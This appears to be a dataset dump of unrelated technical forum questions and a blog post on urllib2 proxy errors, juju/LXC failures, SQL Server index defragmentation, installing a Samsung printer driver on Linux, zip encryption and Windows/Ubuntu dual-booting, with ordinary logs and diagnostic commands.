text
stringlengths 256
65.5k
|
---|
I have a perl program that retrieves data from the database of my university library and it works well. Now I want to rewrite it in python but encounter the problem <urlopen error [errno 104] connection reset by peer>
The perl code is:
my $ua = LWP::UserAgent->new;
$ua->cookie_jar( HTTP::Cookies->new() );
$ua->timeout(30);
$ua->env_proxy;
my $response = $ua->get($url);
The python code I wrote is:
cj = CookieJar();
request = urllib2.Request(url); # url: target web page
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
opener = urllib2.install_opener(opener);
data = urllib2.urlopen(request);
I use VPN(virtual private network) to log in my university's library at home, and I tried both the perl code and python code. The perl code works as I expected, but the python code always encountered "urlopen error".
I googled for the problem and it seems that the urllib2 fails to load the environmental proxy. But according to the document of urllib2, the urlopen() function works transparently with proxies which do not require authentication. Now I feels quite confusing. Can anybody help me with this problem? |
I update to the ubuntu 12.04 yesterday. and install the juju with :
sudo add-apt-repository ppa:juju/pkgs
sudo apt-get update && sudo apt-get install juju
and I install the lxc also.then deploy a charms ,but the service does not start up. and the log show python error.
2012-05-03 03:57:20,439: twisted@ERROR: I: Retrieving inetutils-ping
2012-05-03 03:57:20,440: twisted@ERROR: I: Validating inetutils-ping
2012-05-03 03:57:20,440: twisted@ERROR: E: Couldn't download packages: libnih1 libglib2.0-0 libpython2.7 hostname liblocale-
gettext-perl libfribidi0 sysvinit-utils libapt-pkg4.11 libnih-dbus1 openssh-client findutils libmagic1 libbz2-1.0 login libm
ount1 base-passwd
2012-05-03 03:57:20,440: twisted@ERROR: failed to execute template 'ubuntu'
2012-05-03 03:57:20,441: twisted@ERROR: aborted
2012-05-03 03:57:20,441: twisted@ERROR:
2012-05-03 03:57:20,442: juju.agents.machine@ERROR: Error starting unit: cloudfoundry/0
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/juju/agents/machine.py", line 97, in watch_service_units
yield self.unit_deployer.start_service_unit(unit_name)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/unit/deploy.py", line 92, in start_service_unit
self.machine_id, self.client.servers, bundle)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/machine/unit.py", line 227, in start
machine_id, bundle, public_key)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/machine/unit.py", line 204, in _get_container
machine_id, public_key)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/machine/unit.py", line 192, in _get_master_template
yield master_template.create()
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 281, in create
yield deferToThread(self._create_wait)
File "/usr/lib/python2.7/dist-packages/twisted/python/threadpool.py", line 207, in _worker
result = context.call(ctx, function, *args, **kwargs)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 274, in _create_wait
config_file=lxc_config)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 60, in _lxc_create
return _cmd(args)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 46, in _cmd
raise LXCError(stdout_data)
LXCError: debootstrap is /usr/sbin/debootstrap
and another error log:
2012-05-03 03:57:20,558: juju.agents.machine@DEBUG: Units changed old:set(['cloudfoundry/0']) new:set(['cloudfoundry/2'])
2012-05-03 03:57:20,558: juju.agents.machine@DEBUG: Stopping service unit: cloudfoundry/0 ...
2012-05-03 03:57:20,559: unit.deploy@INFO: Stopping service unit cloudfoundry/0...
2012-05-03 03:57:20,559: unit.deploy@DEBUG: Destroying container...
2012-05-03 03:57:20,610: twisted@ERROR: 'dragon-sample-cloudfoundry-0' does not exist
2012-05-03 03:57:20,610: twisted@ERROR:
2012-05-03 03:57:20,611: juju.agents.machine@ERROR: Error stopping unit: cloudfoundry/0
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/juju/agents/machine.py", line 90, in watch_service_units
yield self.unit_deployer.kill_service_unit(unit_name)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/unit/deploy.py", line 104, in kill_service_unit
yield deployment.destroy()
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/machine/unit.py", line 287, in destroy
yield self.container.destroy()
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 1037, in _inlineCallbacks
result = result.throwExceptionIntoGenerator(g)
File "/usr/lib/python2.7/dist-packages/twisted/python/failure.py", line 382, in throwExceptionIntoGenerator
return g.throw(self.type, self.value, self.tb)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 329, in destroy
yield deferToThread(_lxc_destroy, self.container_name)
File "/usr/lib/python2.7/dist-packages/twisted/python/threadpool.py", line 207, in _worker
result = context.call(ctx, function, *args, **kwargs)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 77, in _lxc_destroy
return _cmd(["sudo", "lxc-destroy", "-n", container_name])
File "/usr/lib/python2.7/dist-packages/juju/lib/lxc/__init__.py", line 46, in _cmd
raise LXCError(stdout_data)
LXCError: 'dragon-sample-cloudfoundry-0' does not exist
by the way, I find many install log in the machine-agent.log, Is it normal in the first time?
Thanks. |
When I try importing urllib2 , i get the following error
import urllib2
File "/usr/lib/python2.7/urllib2.py", line 94, in <module>
import httplib
File "/usr/lib/python2.7/httplib.py", line 79, in <module>
import mimetools
File "/usr/lib/python2.7/mimetools.py", line 6, in <module>
import tempfile
File "/usr/lib/python2.7/tempfile.py", line 34, in <module>
from random import Random as _Random
ImportError: cannot import name Random
i know that there is no module called Random, but i did check urllib2.py and there was code which imported Random.
I am using Python 2.7 |
We have an Agent job that runs every morning at 2a.m. to defrag the top 5 biggest tables. Usually it takes around 20 mins to complete. It has stayed this way for several years. However, recently (last week or so) I've noticed that it's been taking significantly longer (2-7 hours). This morning, I had to terminate the job because it had been running for a good 8 and a half hours.
I took a look at its log and it looks like it hadn't even finished with the indices from the first table by the time I cancelled the job:
Job '02.00 am - Index defrag' : Step 1, 'run index defrag' : Began Executing 2012-06-27 02:00:05
DBCC: Defrag phase of index 'table1_pk_index' is 27% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 27% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 27% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 27% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 28% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 29% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 30% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 31% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 31% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 32% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 33% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 33% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 34% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 34% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 35% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 35% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 36% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 43% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 43% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 43% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 44% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 44% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 44% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 45% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 45% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 45% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 45% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 46% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 46% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 47% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 47% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 48% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 48% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 49% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 49% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 50% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 50% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 51% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 52% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 52% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 52% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 53% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 53% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 53% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 54% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 54% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 54% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 55% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 55% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 55% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 56% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 56% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 57% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 57% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 58% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 59% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 59% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 60% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 60% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 61% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 62% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 63% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 63% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 64% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 65% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 65% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 66% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 67% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 73% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 77% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 79% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 80% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 82% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 84% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 86% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 88% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 90% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 91% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 94% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 96% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_pk_index' is 98% complete. [SQLSTATE 01000]
Index Name Pages Scanned Pages Moved Pages Removed
-------------------------------------------------------------------------------------------------------------------------------- -------------------- -------------------- --------------------
table1_pk_index 2145739 1546226 236
DBCC: Defrag phase of index 'table1_index1' is 66% complete. [SQLSTATE 01000]
Index Name Pages Scanned Pages Moved Pages Removed
-------------------------------------------------------------------------------------------------------------------------------- -------------------- -------------------- --------------------
subscription_orders_idx1 434585 374095 768
DBCC: Compaction phase of index 'table1_index2' is 93% complete. [SQLSTATE 01000]
DBCC: Defrag phase of index 'table1_index2' is 38% complete. [SQLSTATE 01000]
Msg 0, Sev 0, State 1: Operation canceled [SQLSTATE HY008]
Query cancelled.
Judging by the numerous lines of 'DBCC: Defrag phase of index...', I can tell that the primary key index in particular had taken much longer than usual (just a side question, does anyone know the interval at which these messages are generated, since SQL Server is very sparing when it comes to timestamps.)
Looking at the index fragmentation information, it appears that all three indices have really low average fragmentation percentage, which is expected as they are defragged every day:
table1_pk_index: 0.103168974377375%
table1_index1: 0.100508753691454%
table2_index2: 0.734118693782182%
These figures look normal to me, so I am a little stumped. What could've caused these indices to take so much longer to defrag? What else should I be looking out for?
Update: I drilled down on the problem a bit more as Remus recommended and discovered that the disc queue length was through the roof around the time when the defrag took place. It turned out that this started happening after we moved the restore time on the reporting server a few days ago (which restores from a backup file on the production server using Litespeed), so it coincided with the scheduled time of the defrag. Even though the two jobs read/write files from two different logical drives, both drives happen to sit on the same LUN which couldn't take the amount of concurrent IO requests. The problem disappeared as soon as we moved the time for the defrag to another time slot. |
Update: Recently upgraded CUPS to 1.4? See http://wiki.archlinux.org/index.php/Cups#USB_printers_under_CUPS_1.4.x
I bought a Samsung SCX-4200 after I heard it had Linux driver support.
The multi-function printer costs about 62GBP (ex VAT), so it's quite cheap for a laser printer.
d5e3343099e86317e2068097e017ecb3 20070720152943906_UnifiedLinuxDriver.tar.gz
So I am guessing Samsung screwed up the deployment. Anyway after extracting thedriver I read through ./cdroot/Linux/install.sh. You should never ever runshell scripts as root from an untrusted source, without at the very leastcarefully reading the file. After reading this bloated file, I was not prepared toexecute it. What a horrific mess of an install. Suck less Samsung.
So I know from previous experience with CUPS, that it generally just needs a "ppd" configuration file. So I found a likely suspect:
x61:~/Desktop/samsung% sudo find . -name 'scx4200.ppd'
./cdroot/Linux/noarch/at_opt/share/ppd/scx4200.ppd
And via the CUPS administrator printing interface http://localhost:631/ installed it. Sofar so good. Then an error occured that rastertosamsungspl could not befound. After searching around I found the binaries:
x61:~/Desktop/samsung/cdroot/Linux/i386/at_root/usr/lib/cups/filter% ls
pscms* rastertosamsungpcl* rastertosamsungspl* rastertosamsungsplc*
x61:~/Desktop/samsung/cdroot/Linux/i386/at_root/usr/lib/cups/filter% sudo cp * /usr/lib/cups/filter
And copied them into the place where install.sh was trying to put them. And guess what? It works. Is the black hole binary a rootkit? Who knows!
rastertosamsungspl and friends use an insane amount of shared libraries:
x61:~% ldd /usr/lib/cups/filter/rastertosamsungspl
linux-gate.so.1 => (0xb7fd7000)
libcups.so.2 => /usr/lib/libcups.so.2 (0xb7f8b000)
libcupsimage.so.2 => /usr/lib/libcupsimage.so.2 (0xb7f73000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7e17000)
libgssapi_krb5.so.2 => /usr/lib/libgssapi_krb5.so.2 (0xb7ded000)
libkrb5.so.3 => /usr/lib/libkrb5.so.3 (0xb7d59000)
libk5crypto.so.3 => /usr/lib/libk5crypto.so.3 (0xb7d35000)
libcom_err.so.2 => /lib/libcom_err.so.2 (0xb7d32000)
libgnutls.so.26 => /usr/lib/libgnutls.so.26 (0xb7c95000)
libpthread.so.0 => /lib/i686/cmov/libpthread.so.0 (0xb7c7b000)
libm.so.6 => /lib/i686/cmov/libm.so.6 (0xb7c55000)
libcrypt.so.1 => /lib/i686/cmov/libcrypt.so.1 (0xb7c23000)
libz.so.1 => /usr/lib/libz.so.1 (0xb7c0e000)
libtiff.so.4 => /usr/lib/libtiff.so.4 (0xb7bb9000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb7b95000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb7b76000)
/lib/ld-linux.so.2 (0xb7fd8000)
libkrb5support.so.0 => /usr/lib/libkrb5support.so.0 (0xb7b6e000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7b6a000)
libkeyutils.so.1 => /lib/libkeyutils.so.1 (0xb7b67000)
libresolv.so.2 => /lib/i686/cmov/libresolv.so.2 (0xb7b52000)
libtasn1.so.3 => /usr/lib/libtasn1.so.3 (0xb7b42000)
libgpg-error.so.0 => /usr/lib/libgpg-error.so.0 (0xb7b3e000)
libgcrypt.so.11 => /usr/lib/libgcrypt.so.11 (0xb7ad6000)
As the operating system evolves one of these depedencies is bound to break. Samsung should have either:
Statically built the binaries
Made the source freely licensed and available
Preference goes to the second option. For example Webconverger cannot distribute a binary blob of a printer driver, so this printer cannot be supported. So I want the source please, Samsung.
The print quality is satisfactory thought the printer had a noisy fan blaring after just one print test page. In such cases I just turn the printer off.
Next I need to try the scanning ability of the device. scan-utils's sane-find-scanner finds:
found USB scanner (vendor=0x04e8 [Samsung], product=0x341b [SCX-4200 Series]) at libusb:003:004
Well done. Though sadly:
x61:~% sudo scanimage -L
No scanners were identified.
Again looking at install.sh another proprietary blob (with a FECK load of deps):
x61:~/Desktop/samsung/cdroot/Linux/i386/at_opt/bin% ldd smfpscan
linux-gate.so.1 => (0xb7fac000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7f92000)
libqt-mt.so.3 => /usr/lib/libqt-mt.so.3 (0xb7899000)
libpthread.so.0 => /lib/i686/cmov/libpthread.so.0 (0xb787f000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb7871000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb7782000)
libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0xb76c8000)
libm.so.6 => /lib/i686/cmov/libm.so.6 (0xb76a2000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7695000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7539000)
/lib/ld-linux.so.2 (0xb7fad000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb750f000)
libaudio.so.2 => /usr/lib/libaudio.so.2 (0xb74f9000)
libXt.so.6 => /usr/lib/libXt.so.6 (0xb74a9000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb748a000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb7467000)
libz.so.1 => /usr/lib/libz.so.1 (0xb7451000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb7449000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb7440000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb743a000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb7431000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb742e000)
libXft.so.2 => /usr/lib/libXft.so.2 (0xb741a000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb73a5000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb739d000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb7386000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb7298000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb7294000)
libxcb-xlib.so.0 => /usr/lib/libxcb-xlib.so.0 (0xb7292000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb727a000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0xb7254000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb724f000)
libXdmcp.so.6 => /usr/lib/libXdmcp.so.6 (0xb7249000)
Seems required. Argh... no Why are things such a nightmare? I'm not any closer in restoring a supported print service in maxi.
I guess I should have done my research better. After living in Korea I know Korean programmers do not have much experience of Linux and the Web unfortunately due to several reasons like ActiveX lock in. So I will try get the sources to their driver otherwise I'll quickly have a 5kg hunk of useless plastic on my desk.
Trouble shooting tip: Failed to load the PPM image means you are missing ghostscript.
Update: I've noticed via the ArchLinux splix package that there is an opensource implementation of the Samsung Printer Language drivers. Awesome! |
I have a problem how to encrypt compressed blobs of type zip. Because of some reasons I cannot use chilkat module, zipfile module provides only decryption, so I do not know what to use to encrypt zips with a key.
Could you please give me some suggestions how this problem is (could be) solved?
ideal solution would look something like this:
blob_info = blobstore.BlobInfo.all()[0] #lets say we want to read the first blob we find
blob_reader = blobstore.BlobReader(blob_info.key())
file = zipfile.ZipFile(blob_reader, 'r')
data = file.read(file.namelist()[0])
output = StringIO.StringIO()
outfile = zipfile.ZipFile(output, "w")
outfile.writestr(file.namelist()[0], data)
outfile.setpassword('testpass') #it would be nice if there was a module that could set pass like this, .setpassword() only works with decryption
outfile.close()
outputStream = files.blobstore.create(mime_type='application/zip', _blobinfo_uploaded_filename = file.namelist()[0].split('.')[0] + '.zip')
with files.open(outputStream, 'a') as f:
f.write(output.getvalue())
files.finalize(outputStream)
|
I'm finding myself in a rather unique situation. I've read through just about every resource I can find about this and while things have helped me understand some background, I haven't yet been able to find a solution. So I'm asking here.
I originally had just a Windows 7 64-bit OS installation on my desktop. Learning that I couldn't do anything with Apache, PHP and MySql from within a 64-bit system, I did some research and found out that I could use Ubuntu. I've installed the latest version: 11.04.
I created a CD to install Ubuntu from and the install went just fine. I installed it side-by-side with Windows 7. I can boot into Ubuntu just fine through the dual-boot option.
When I reboot to load Windows though, the Grub2 list shows Windows 7 (loader) and when I select this option the Windows System Recovery loads instead of the actual OS. I haven't made it past there because I didn't know what to do. I just shut the computer down and rebooted into Ubuntu. I've been working for the last hour and a half to try to figure out how to boot into the Windows 7 OS and I haven't got a clue.
While I'm somewhat proficient with Windows 7, I'm totally new to Ubuntu, so if you do know what needs to happen, please keep it simple enough that I'll be able to understand. Thanks for all your help in advance.
Here's the results after using the Boot Info Script: Boot Info Script 0.55 dated February 15th, 2010
============================= Boot Info Summary: ==============================
=> Grub 2 is installed in the MBR of /dev/sda and looks on the same drive in
partition #5 for cbh.
=> Windows is installed in the MBR of /dev/sdb
=> Grub 2 is installed in the MBR of /dev/mapper/pdc_bdadcfbdif and looks on
the same drive in partition #5 for cbh.
sda1: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Mounting failed:
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
sda2: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Mounting failed:
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
sda3: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Mounting failed:
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
sdb1: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files/dirs: /bootmgr /Boot/BCD
sdb2: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files/dirs:
sdb3: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files/dirs: /bootmgr /boot/BCD
sdb4: _________________________________________________________________________
File system: Extended Partition
Boot sector type: -
Boot sector info:
sdb5: _________________________________________________________________________
File system: ext4
Boot sector type: -
Boot sector info:
Operating System: Ubuntu 11.04
Boot files/dirs: /boot/grub/grub.cfg /etc/fstab /boot/grub/core.img
sdb6: _________________________________________________________________________
File system: swap
Boot sector type: -
Boot sector info:
pdc_bdadcfbdif1: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files/dirs: /bootmgr /Boot/BCD
pdc_bdadcfbdif2: _________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System: Windows 7
Boot files/dirs: /bootmgr /Boot/BCD /Windows/System32/winload.exe
pdc_bdadcfbdif3: _________________________________________________________________________
File system:
Boot sector type: Unknown
Boot sector info:
Mounting failed:
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
fuse: mount failed: Device or resource busy
mount: unknown filesystem type ''
=========================== Drive/Partition Info: =============================
Drive: sda ___________________ _____________________________________________________
Disk /dev/sda: 750.2 GB, 750156374016 bytes
255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start End Size Id System
/dev/sda1 * 2,048 206,847 204,800 7 HPFS/NTFS
/dev/sda2 206,911 1,440,372,735 1,440,165,825 7 HPFS/NTFS
/dev/sda3 1,440,372,736 1,464,856,575 24,483,840 7 HPFS/NTFS
Drive: sdb ___________________ _____________________________________________________
Disk /dev/sdb: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors
Units = sectors of 1 * 512 = 512 bytes
